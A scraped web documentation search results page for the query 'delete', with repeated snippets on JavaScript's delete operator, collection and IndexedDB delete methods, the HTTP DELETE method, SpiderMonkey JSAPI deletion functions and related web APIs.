Search completed in 0.95 seconds.
820 results for "delete":
Your results are loading. Please wait...
delete operator - JavaScript
the javascript delete operator removes a property from an object; if no more references to the same property are held, it is eventually released automatically. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax delete expression where expression should evaluate to a property reference, e.g.: delete object.property delete object['property'] parameters object the name of an object, or an expression evaluating to an object. property the property to delete. return value true for all cases except when the property is an own non-configurable property, in which case, false is returned in non-strict mode. ...
...on successful deletion, it will return true, else false will be returned. ...
...on successful deletion, it will return true, else false will be returned. ...
...And 21 more matches
JS_DeleteProperty2
obsolete since jsapi 39this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. removes a specified property from an object. renamed to js_deleteproperty from jsapi 39. ...
... obsolete since jsapi 39this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. removes a specified property from an object. renamed to js_deleteproperty from jsapi 39. ...
...nce jsapi 39this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. removes a specified property from an object. renamed to js_deleteproperty from jsapi 39. ...
...And 16 more matches
JS_DeleteProperty
removes a specified property from an object. ...
... removes a specified property from an object. ...
... removes a specified property from an object. ...
...And 15 more matches
IDBCursor.delete() - Web APIs
Web › API › IDBCursor › delete
the result attribute is set to undefined. ...
...the result attribute is set to undefined. ...
...the result attribute is set to undefined. ...
...And 9 more matches
IDBFactory.deleteDatabase() - Web APIs
the deletedatabase() method of the idbfactory interface requests the deletion of a database. the method returns an idbopendbrequest object immediately, and performs the deletion operation asynchronously. if the database is successfully deleted, then a success event is fired on the request object returned from this method, with its result set to undefined. if an error occurs while the database is being deleted, then an error event is fired on the request object that is returned from this method. when deletedatabase() is called, any other open connections to this particular database will get a versionchange event. note: this feature is available in web workers. ...
...ts result set to undefined. if an error occurs while the database is being deleted, then an error event is fired on the request object that is returned from this method. when deletedatabase() is called, any other open connections to this particular database will get a versionchange event. note: this feature is available in web workers. syntax for the current standard: var request = indexeddb.deletedatabase(name); for the experimental version with options (see below): var request = indexeddb.deletedatabase(name, options); parameters name the name of the database you want to delete. ...
...ctions to this particular database will get a versionchange event. note: this feature is available in web workers. syntax for the current standard: var request = indexeddb.deletedatabase(name); for the experimental version with options (see below): var request = indexeddb.deletedatabase(name, options); parameters name the name of the database you want to delete. note that attempting to delete a database that doesn't exist does not throw an exception, in contrast to idbdatabase.deleteobjectstore(), which does throw an exception if the named object store does not exist. ...
...And 6 more matches
IDBObjectStore.delete() - Web APIs
the delete() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, deletes the specified record or records. either a key or an idbkeyrange can be passed, allowing one or multiple records to be deleted from a store. to delete all records in a store, use idbobjectstore.clear. bear in mind that if you are using a idbcursor, you can use the idbcursor.delete() method to more efficiently delete the current record — without having to explicitly look up the record's key. note: this feature is available in web workers. syntax var request = objectstore.delete(key); var request = objectstore.delete(keyrange); parameters key the key of the record to be deleted, or an idbkeyrange to delete all records with keys in range. return value an idbreques...
...s operation are fired. the request.result attribute is set to undefined. exceptions this method may raise a domexception of the following types: exception description transactioninactiveerror this object store's transaction is inactive. readonlyerror the object store's transaction mode is read-only. invalidstateerror the object store has been deleted. dataerror the key is not a valid key or a key range. example in the following code snippet, we open a read/write transaction on our database and delete one specific record out of our object store using delete() — a sample record with the key "walk dog". for a full working example, see our to-do notifications app (view example live.) // let us open our database va...
...r a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
...And 6 more matches
CacheStorage.delete() - Web APIs
examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
... examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
... examples in this code snippet we wait for an activate event, and then run a waituntil() block that clears up any old, unused caches before a new service worker is activated. ...
...And 5 more matches
IDBObjectStore.deleteIndex() - Web APIs
return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode callback. ...
...eleteindex() method of the idbobjectstore interface destroys the index with the specified name in the connected database, used during a version upgrade. note that this method must be called only from a versionchange transaction mode callback. note that this method synchronously modifies the idbobjectstore.indexnames property. note: this feature is available in web workers. syntax objectstore.deleteindex(indexname); parameters indexname the name of the existing index to remove. return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode callback. transactioninactiveerror occurs if the tra...
...index to remove. return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction mode callback. transactioninactiveerror occurs if the transaction this idbobjectstore belongs to is not active (e.g. has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database. example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to updat...
...And 5 more matches
IDBDatabase.deleteObjectStore() - Web APIs
exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. ...
... exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. ...
...dbdatabase interface destroys the object store with the given name in the connected database, along with any indexes that reference it. as with idbdatabase.createobjectstore, this method can be called only within a versionchange transaction. note: this feature is available in web workers. syntax dbinstance.deleteobjectstore(name); parameters name the name of the object store you want to delete. exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction callback. for older webkit browsers, you must call first. transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g. has bee...
...And 3 more matches
RTCIceCandidateStats.deleted - Web APIs
host candidate a value of true indicates that the candidate's network resources have been released. this generally mean sthat any associated socket(s) have been closed and released. ...
... host candidate a value of true indicates that the candidate's network resources have been released. this generally mean sthat any associated socket(s) have been closed and released. ...
... host candidate a value of true indicates that the candidate's network resources have been released. this generally mean sthat any associated socket(s) have been closed and released. remote (turn) candidate a value of true means the candidate's turn allocation is no longer active. ...
...And 3 more matches
DELETE - HTTP
Web › HTTP › Methods › DELETE
a 204 (no content) status code if the action has been enacted and no further information is to be supplied. a 200 (ok) status code if the action has been enacted and the response message includes a representation describing the status. ...
... a 204 (no content) status code if the action has been enacted and no further information is to be supplied. a 200 (ok) status code if the action has been enacted and the response message includes a representation describing the status. ...
... a 204 (no content) status code if the action has been enacted and no further information is to be supplied. a 200 (ok) status code if the action has been enacted and the response message includes a representation describing the status. ...
...And 3 more matches
TypeError: property "x" is non-configurable and can't be deleted - JavaScript
the javascript exception "property is non-configurable and can't be deleted" occurs when it was attempted to delete a property, but that property is non-configurable. message typeerror: calling delete on 'x' is not allowed in strict mode (edge) typeerror: property "x" is non-configurable and can't be deleted. (firefox) typeerror: cannot delete property 'x' of #<object> (chrome) error type typeerror in strict mode only. what went wrong? ...
... deleted" occurs when it was attempted to delete a property, but that property is non-configurable. message typeerror: calling delete on 'x' is not allowed in strict mode (edge) typeerror: property "x" is non-configurable and can't be deleted. (firefox) typeerror: cannot delete property 'x' of #<object> (chrome) error type typeerror in strict mode only. what went wrong? ...
...alling delete on 'x' is not allowed in strict mode (edge) typeerror: property "x" is non-configurable and can't be deleted. (firefox) typeerror: cannot delete property 'x' of #<object> (chrome) error type typeerror in strict mode only. what went wrong? it was attempted to delete a property, but that property is non-configurable. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed. this error happens only in strict mode code. in non-strict code, the operation returns false. examples attempting to delete non-configurable properties non-configurable properties are not super common, but they can be created using object.defineproperty() or object.freeze(). 'use strict'; var obj = object.freez...
...And 3 more matches
handler.deleteProperty() - JavaScript
the handler.deleteproperty() method is a trap for the delete operator. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p = new proxy(target, { deleteproperty: function(target, property) { } }); parameters the following parameters are passed to the deleteproperty() method. this is bound to the handler. target the target object. property the name or symbol of the property to delete. return value the deleteproperty() method must return a boolean indicating whether or not the property has been successfully deleted. ...
...: function(target, property) { } }); parameters the following parameters are passed to the deleteproperty() method. this is bound to the handler. target the target object. property the name or symbol of the property to delete. return value the deleteproperty() method must return a boolean indicating whether or not the property has been successfully deleted. description the handler.deleteproperty() method is a trap for the delete operator. interceptions this trap can intercept these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be deleted, if it exists as a non-configurable own property of the target object. example...
...d is a trap for the delete operator. interceptions this trap can intercept these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are violated, the proxy will throw a typeerror: a property cannot be deleted, if it exists as a non-configurable own property of the target object. examples trapping the delete operator the following code traps the delete operator. ...
...And 3 more matches
Reflect.deleteProperty() - JavaScript
the static reflect.deleteproperty() method allows to delete properties. it is like the delete operator as a function. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.deleteproperty(target, propertykey) parameters target the target object on which to delete the property. propertykey the name of the property to be deleted. return value a boolean indicating whether or not the property was successfully deleted. exceptions a typeerror, if target is not an object. description the reflect.deleteproperty method allows you to delete a property on an object. it returns a boolean indicating whether...
...which to delete the property. propertykey the name of the property to be deleted. return value a boolean indicating whether or not the property was successfully deleted. exceptions a typeerror, if target is not an object. description the reflect.deleteproperty method allows you to delete a property on an object. it returns a boolean indicating whether or not the property was successfully deleted. it is almost identical to the non-strict delete operator. ...
... value a boolean indicating whether or not the property was successfully deleted. exceptions a typeerror, if target is not an object. description the reflect.deleteproperty method allows you to delete a property on an object. it returns a boolean indicating whether or not the property was successfully deleted. it is almost identical to the non-strict delete operator. ...
...And 3 more matches
JSDeletePropertyOp
this article covers features introduced in spidermonkey 24 the type of the jsclass.delproperty. syntax typedef bool (* jsdeletepropertyop)(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); name type description cx jscontext * the context in which the property access is taking place. provides request. in js_threadsafe builds, the javascript engine calls this callback only from within an active request on cx. the callback does not need to call js_beginrequest()). obj js::handleobject the object whose properties are being deleted. id js::handleid the name or index of the property being deleted. this is either a string (unicode property identifier) or an integer (element i...
...ack does not need to call js_beginrequest()). obj js::handleobject the object whose properties are being deleted. id js::handleid the name or index of the property being deleted. this is either a string (unicode property identifier) or an integer (element index). succeeded bool * out parameter. receives the result of deletion. description jsdeletepropertyop callback is a hook that applications may install to be called at some point during property access. a jsdeletepropertyop may be installed on a jsclass to hook property deletes. if a jsdeletepropertyop does nothing and returns true, then property delete is unaffected. it proceeds as normal. this callback may veto the ongoing property operation by optionally reporting an error or raisin...
... hooks jsclass offers the following hook: jsclass.delproperty is called during most property deletions, even when obj has no property named id. if an error occurred, return false as per normal jsapi error practice. if no error occurred, but the deletion attempt wasn't allowed (perhaps because the property was non-configurable), set *succeeded to false and return true. this will cause delete obj[id] to evaluate to false in non-strict mode code, and to throw a typeerror in strict mode code. if no error occurred and the deletion wasn't disallowed (this is *not* the same as saying that a deletion actually occurred -- deleting a non-existent property, or an inherited property, is allowed -- it's just pointless), set *succeeded to true and return true. this hook is not called when t...
...And 2 more matches
JS_DeleteElement2
obsolete since jsapi 39this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. removes a specified element or numeric property from an object. renamed to js_deleteelement in jsapi 39 syntax bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete an element. index uint32_t index number of the element to delete. succeeded...
... context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete an element. index uint32_t index number of the element to delete. succeeded bool * out parameter. on success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise. description js_deleteelement2 removes a specified element or numeric property, index, from an object, obj. ...
...bool * out parameter. on success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise. description js_deleteelement2 removes a specified element or numeric property, index, from an object, obj. if an object references an element belonging to a prototype, the element reference is removed from the object, but the prototype's element is not deleted. if deletion is successful, js_deleteelement2 stores true to *succeeded and returns true. otherwise it returns false and the value of *succeeded is undefined. notes per the ecma standard, js_deleteelement2 removes read-only properties from objects as long as they are not also permanent. ...
...And 2 more matches
Cache.delete() - Web APIs
Web › API › Cache › delete
the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. ...
...the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. ...
...the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the url. if set to true, the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. ...
...And 2 more matches
Headers.delete() - Web APIs
Web › API › Headers › delete
returns void. ...
... returns void. ...
... returns void. ...
...And 2 more matches
URLSearchParams.delete() - Web APIs
living standard initial definition. ...
... living standard initial definition. ...
... living standard initial definition. ...
...And 2 more matches
JS_DeleteElement
removes a specified element or numeric property from an object. syntax bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index); // added in spidermonkey 45 bool js_deleteelement(jscontext *cx, js::handleobject obj, uint32_t index, js::objectopresult &result); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete an element. index uint32_t index number of the element to delete. result js::objectopresult &amp; (out parameter) receives the result of the operation. description js_dele...
...for javascript 1.3 and later, the attempt is silently ignored. ...
... result js::objectopresult &amp; (out parameter) receives the result of the operation. description js_deleteelement removes a specified element or numeric property, index, from an object, obj. if an object references an element belonging to a prototype, the element reference is removed from the object, but the prototype's element is not deleted. if deletion is successful, js_deleteelement returns true. otherwise it returns false. for javascript 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, js_deleteelement reports the error before returning false. for javascript 1.3 and later, the attempt is silently ignored. to truncate an array, use js_setarraylength. to remove all elements and properties from an object, call js_clear...
...s false. for javascript 1.2 and earlier, if failure occurs because you attempt to delete a permanent or read-only element, js_deleteelement reports the error before returning false. for javascript 1.3 and later, the attempt is silently ignored. to truncate an array, use js_setarraylength. to remove all elements and properties from an object, call js_clearscope. ...
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
the javascript strict mode-only exception "applying the 'delete' operator to an unqualified name is deprecated" occurs when variables are attempted to be deleted using the delete operator. message syntaxerror: calling delete on expression not allowed in strict mode (edge) syntaxerror: applying the 'delete' operator to an unqualified name is deprecated (firefox) syntaxerror: delete of an unqualified identifier in strict mode. (chrome) error type syntaxerror in strict mode only. what went wrong? normal variables in javascript can't be deleted using the delete operator. in strict mode, an attempt to delete a variable will throw an error and is not allowed. the delete operator can only delete properties on an object. object properties are "qualified" if they are configurable. unlike what c...
...chrome) error type syntaxerror in strict mode only. what went wrong? ...
...an attempt to delete a variable will throw an error and is not allowed. the delete operator can only delete properties on an object. object properties are "qualified" if they are configurable. unlike what common belief suggests, the delete operator has nothing to do with directly freeing memory. memory management is done indirectly via breaking references, see the memory management page and the delete operator page for more details. this error only happens in strict mode code. in non-strict code, the operation just returns false. examples freeing the contents of a variable attempting to delete a plain variable, doesn't work in javascript and it throws an error in strict mode: 'use strict'; var x; // ... ...
...e indirectly via breaking references, see the memory management page and the delete operator page for more details. this error only happens in strict mode code. in non-strict code, the operation just returns false. examples freeing the contents of a variable attempting to delete a plain variable, doesn't work in javascript and it throws an error in strict mode: 'use strict'; var x; // ... delete x; // syntaxerror: applying the 'delete' operator to an unqualified name // is deprecated to free the contents of a variable, you can set it to null: 'use strict'; var x; // ... x = null; // x can be garbage collected ...
Map.prototype.delete() - JavaScript
successfully removed. mymap.has('bar'); // returns false. the "bar" element is no longer present. ...
...successfully removed. mymap.has('bar'); // returns false. the "bar" element is no longer present. ...
...sitory. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.delete(key); parameters key the key of the element to remove from the map object. return value true if an element in the map object existed and has been removed, or false if the element does not exist. examples using delete() var mymap = new map(); mymap.set('bar', 'foo'); mymap.delete('bar'); // returns true. successfully removed. mymap.has('bar'); // returns false. the "bar" element is no longer present. specifications specification ecmascript (ecma-262)the definition of 'map.prototype.delete' in that specification. ecmascript 2015 (6th edition, ecma-262)the definition of 'ma...
...p = new map(); mymap.set('bar', 'foo'); mymap.delete('bar'); // returns true. successfully removed. mymap.has('bar'); // returns false. the "bar" element is no longer present. specifications specification ecmascript (ecma-262)the definition of 'map.prototype.delete' in that specification. ecmascript 2015 (6th edition, ecma-262)the definition of 'map.prototype.delete' in that specification. ...
Set.prototype.delete() - JavaScript
successfully removed. myset.has('foo'); // returns false. the "foo" element is no longer present. ...
... successfully removed. myset.has('foo'); // returns false. the "foo" element is no longer present. ...
...nteractive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax myset.delete(value); parameters value the value to remove from myset. return value returns true if value was successfully removed from myset; otherwise false. examples using the delete() method const myset = new set(); myset.add('foo'); myset.delete('bar'); // returns false. no "bar" element found to be deleted. myset.delete('foo'); // returns true. successfully removed. myset.has('foo'); // returns false. the "foo" element is no longer present. let's checkout below how to delete an object from a set. const setobj = new set(); // create a new set. setobj.add({x: 10...
... "bar" element found to be deleted. myset.delete('foo'); // returns true. successfully removed. myset.has('foo'); // returns false. the "foo" element is no longer present. let's checkout below how to delete an object from a set. const setobj = new set(); // create a new set. setobj.add({x: 10, y: 20}); // add object in the set. setobj.add({x: 20, y: 30}); // add object in the set. // delete any point with `x > 10`. setobj.foreach(function(point){ if (point.x > 10){ setobj.delete(point) } }) specifications specification ecmascript (ecma-262)the definition of 'set.prototype.delete' in that specification. ...
WeakSet.prototype.delete() - JavaScript
successfully removed. ...
... successfully removed. ...
...eractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax ws.delete(value); parameters value required. the object remove from the weakset object. return value true if an element in the weakmap object has been removed successfully. false if the key is not found in the weakmap or if the key is not an object. examples using the delete method var ws = new weakset(); var obj = {}; ws.add(window); ws.delete(obj); // returns false. no obj found to be deleted. ws.delete(window); // returns true. successfully removed. ws.has(window); // returns false. the window is no longer present in the weakset. ...
... using the delete method var ws = new weakset(); var obj = {}; ws.add(window); ws.delete(obj); // returns false. no obj found to be deleted. ws.delete(window); // returns true. successfully removed. ws.has(window); // returns false. the window is no longer present in the weakset. specifications specification ecmascript (ecma-262)the definition of 'weakset.prototype.delete' in that specification. ...
Selection.deleteFromDocument() - Web APIs
the deletefromdocument() method of the selection interface deletes the selected text from the document's dom. syntax sel.deletefromdocument() parameters none. example this example lets you delete selected text by clicking a button. upon clicking the button, the window.getselection() method gets the selected text, and the deletefromdocument() method removes it. html <p>try highlighting some of the text in this paragraph. ...
...letefromdocument() parameters none. example this example lets you delete selected text by clicking a button. upon clicking the button, the window.getselection() method gets the selected text, and the deletefromdocument() method removes it. html <p>try highlighting some of the text in this paragraph. ...
...king the button, the window.getselection() method gets the selected text, and the deletefromdocument() method removes it. html <p>try highlighting some of the text in this paragraph. once you do, you can remove the selected content by clicking the button below.</p> <button>delete selected text</button> javascript let button = document.queryselector('button'); button.addeventlistener('click', deleteselection); function deleteselection() { let selection = window.getselection(); selection.deletefromdocument(); } result specifications specification status comment selection apithe definition of 'selection.deletefromdocument()' in that specification. working draft current ...
ServiceWorkerGlobalScope: contentdelete event - Web APIs
the contentdelete event of the serviceworkerglobalscope interface is fired when an item is removed from the indexed content via the user agent. bubbles no cancelable no interface contentindexevent event handler property oncontentdelete examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item. ...
...ired when an item is removed from the indexed content via the user agent. bubbles no cancelable no interface contentindexevent event handler property oncontentdelete examples the following example uses a contentdelete event handler to remove cached content related to the deleted index item. self.addeventlistener('contentdelete', event => { event.waituntil( caches.open('cache-name').then(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ... }; specifications specification...
...hen(cache => { return promise.all([ cache.delete(`/icon/${event.id}`), cache.delete(`/content/${event.id}`) ]) }) ); }); you can also set up the event handler using the serviceworkerglobalscope.ondelete property: self.oncontentdelete = (event) => { ... }; specifications specification status comment unknownthe definition of 'contentdelete' in that specification. unknown initial definition. ...
StylePropertyMap.delete() - Web APIs
working draft initial definition. ...
... working draft initial definition. ...
... the stylepropertymap interface removes the css declaration with the given property. syntax stylepropertymap.delete(property) parameters property an identifier indicating the stylistic feature (e.g. font, width, background color) to remove. return value undefined example // tbd specifications specification status comment css typed om level 1the definition of 'delete()' in that specification. working draft initial definition. ...
<del>: The Deleted Text element - HTML: Hypertext Markup Language
Web › HTML › Element › del
this can be used when rendering "track changes" or source code diff information, for example. the <ins> element can be used for the opposite purpose: to indicate text that has been added to the document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this element is often (but need not be) rendered by applying a strike-through style to the text. content categories phrasing content or flow content. permitted content transparent. ...
...date of the change and must be a valid date string with an optional time. if the value cannot be parsed as a date with an optional time string, the element does not have an associated time stamp. for the format of the string without a time, see date strings. the format of the string if it includes both date and time is covered in local date and time strings. examples <p><del>this text has been deleted</del>, here is the rest of the paragraph.</p> <del><p>this paragraph has been deleted.</p></del> result accessibility concerns the presence of the del element is not announced by most screen reading technology in its default configuration. it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements. del::before, del::after { clip-...
...idden; position: absolute; white-space: nowrap; width: 1px; } del::before { content: " [deletion start] "; } del::after { content: " [deletion end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been deleted would adversely affect understanding. short note on making your mark (more accessible) | the paciello group tweaking text level styles | adrian roselli specifications specification status comment html living standardthe definition of '<del>' in that specification. living standard html5the definition of '<del>' in that specification. recommend...
TypeError: can't delete non-configurable array element - JavaScript
the javascript exception "can't delete non-configurable array element" occurs when it was attempted to shorten the length of an array, but one of the array's elements is non-configurable. message typeerror: can't delete non-configurable array element (firefox) typeerror: cannot delete property '2' of [object array] (chrome) error type typeerror what went wrong? it was attempted to shorten the length of an array, but one of the array's elements is non-configurable. when shortening an array, the elements beyond the new array length will be deleted, which failed in this situation. the configurable attribute controls whether the property can be deleted from the object and whether its attributes (other than writable) can be changed. usually, properties in an object created by an array initi...
...ct.defineproperty(), the property isn't configurable by default. examples non-configurable properties created by object.defineproperty the object.defineproperty() creates non-configurable properties by default if you haven't specified them as configurable. var arr = []; object.defineproperty(arr, 0, {value: 0}); object.defineproperty(arr, 1, {value: "1"}); arr.length = 1; // typeerror: can't delete non-configurable array element you will need to set the elements as configurable, if you intend to shorten the array. var arr = []; object.defineproperty(arr, 0, {value: 0, configurable: true}); object.defineproperty(arr, 1, {value: "1", configurable: true}); arr.length = 1; seal-ed arrays the object.seal() function marks all existing elements as non-configurable. var arr = [1,2,3]; objec...
... set the elements as configurable, if you intend to shorten the array. var arr = []; object.defineproperty(arr, 0, {value: 0, configurable: true}); object.defineproperty(arr, 1, {value: "1", configurable: true}); arr.length = 1; seal-ed arrays the object.seal() function marks all existing elements as non-configurable. var arr = [1,2,3]; object.seal(arr); arr.length = 1; // typeerror: can't delete non-configurable array element you either need to remove the object.seal() call, or make a copy of it. in case of a copy, shortening the copy of the array does not modify the original array length. var arr = [1,2,3]; object.seal(arr); // copy the initial array to shorten the copy var copy = array.from(arr); copy.length = 1; // arr.length == 3 ...
WeakMap.prototype.delete() - JavaScript
successfully removed. wm.has(window); // returns false. the window object is no longer in the weakmap. ...
...successfully removed. wm.has(window); // returns false. the window object is no longer in the weakmap. ...
...ractive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax wm.delete(key); parameters key the key of the element to remove from the weakmap object. return value true if an element in the weakmap object has been removed successfully. false if the key is not found in the weakmap or if the key is not an object. examples using the delete method var wm = new weakmap(); wm.set(window, 'foo'); wm.delete(window); // returns true. successfully removed. wm.has(window); // returns false. the window object is no longer in the weakmap. specifications specification ecmascript (ecma-262)the definition of 'weakmap.prototype.delete' in that specification. ...
deleteRegisteredFile - Archive of obsolete content
deleteregisteredfile (netscape 6 and mozilla do not currently support this method.) deletes the specified file and removes its entry from the client version registry. method of install object syntax int deleteregisteredfile (string registryname); parameters the deleteregisteredfile method has the following parameter: registryname the pathname in the client version registry for the file that is to be deleted. returns an integer error code. for a list of possible values, see return codes. description the deleteregisteredfile method deletes the specified file and removes the file's entry from the client version registry. ...
... registryname the pathname in the client version registry for the file that is to be deleted. returns an integer error code. for a list of possible values, see return codes. description the deleteregisteredfile method deletes the specified file and removes the file's entry from the client version registry. if the file is currently being used, the name of the file that is to be deleted is saved and netscape 6 attempts to delete it each time it starts up until the file is successfully deleted. this method is used to delete files that cannot be removed by the uninstall method or to remove files that are no longer necessary or whose names have changed. ...
PR_DeleteSharedMemory
returns prstatus. ...
... returns prstatus. ...
ContentIndex.delete() - Web APIs
the delete() method of the contentindex interface unregisters an item from the currently indexed content. calling delete() only affects the index. it does not delete anything from the cache. syntax contentindex.delete(id).then(...); parameters this method receives no parameters. return value returns a promise that resolves with undefined exceptions no exceptions are thrown. examples below is an asynchronous function, that removes an item from the content index. we receive a reference to the current serviceworkerregistration, which allows us to access the index property and thus access the delete method. async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index ...
...erence to the current serviceworkerregistration, which allows us to access the index property and thus access the delete method. async function unregistercontent(article) { // reference registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } the delete method can also be used within the service worker scope. self.registration.index.delete('my-id'); specifications specification status comment unknownthe definition of 'delete' in that specification. unknown initial definition. ...
HTMLTableElement.deleteRow() - Web APIs
the htmltableelement.deleterow() method removes a specific row (<tr>) from a given <table>. syntax htmltableelement.deleterow(index) parameters index index is an integer representing the row that should be deleted. however, the special index -1 can be used to remove the very last row of a table. return value no return value errors thrown if the number of the row to delete, specified by the parameter, is greater or equal to the number of available rows, or if it is negative and not equal to the special index -1, representing the last row of the table, the exception index_size_err is thrown. example this example uses javascript to delete a table's second row. html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>ce...
...of the table, the exception index_size_err is thrown. example this example uses javascript to delete a table's second row. html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </table> javascript let table = document.queryselector('table'); // delete second row table.deleterow(1); result specifications specification status comment html living standardthe definition of 'htmltableelement: deleterow' in that specification. living standard ...
WebGL2RenderingContext.deleteTransformFeedback() - Web APIs
the webgl2renderingcontext.deletetransformfeedback() method of the webgl 2 api deletes a given webgltransformfeedback object. syntax void gl.deletetransformfeedback(transformfeedback); parameters transformfeedback a webgltransformfeedback object to delete. return value none. examples gl must be a webgl2renderingcontext. webgltransformfeedback objects are not available in webgl 1. var transformfeedback = gl.createtransformfeedback(); // ... gl.deletetransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'deletetransformfeedback' in that specification. editor's draft initial definition for webgl. ...
...mfeedback objects are not available in webgl 1. var transformfeedback = gl.createtransformfeedback(); // ... gl.deletetransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'deletetransformfeedback' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'gldeletetransformfeedbacks' in that specification. standard man page of the (similar) opengl api. ...
WebGLRenderingContext.deleteRenderbuffer() - Web APIs
the webglrenderingcontext.deleterenderbuffer() method of the webgl api deletes a given webglrenderbuffer object. this method has no effect if the render buffer has already been deleted. syntax void gl.deleterenderbuffer(renderbuffer); parameters renderbuffer a webglrenderbuffer object to delete. return value none. examples deleting a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); // ... gl.deleterenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'deleterenderbuffer' in that specification. recommendation initial definition. ...
...var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); // ... gl.deleterenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'deleterenderbuffer' in that specification. recommendation initial definition. opengl es 2.0the definition of 'gldeleterenderbuffers' in that specification. standard man page of the (similar) opengl api. ...
deleteKey - Archive of obsolete content
returns 0 if it succeeded; a nonzero number if it failed to schedule the deletion. for a list of possible values, see return codes. ...
deleteValue - Archive of obsolete content
valname the name of the value-name/value pair you want to remove. returns 0 if it succeeded; a nonzero number if it failed to schedule the deletion. ...
PR_DELETE
must be an lvalue (an expression that can appear on the left side of an assignment statement). returns nothing. ...
PR_Delete
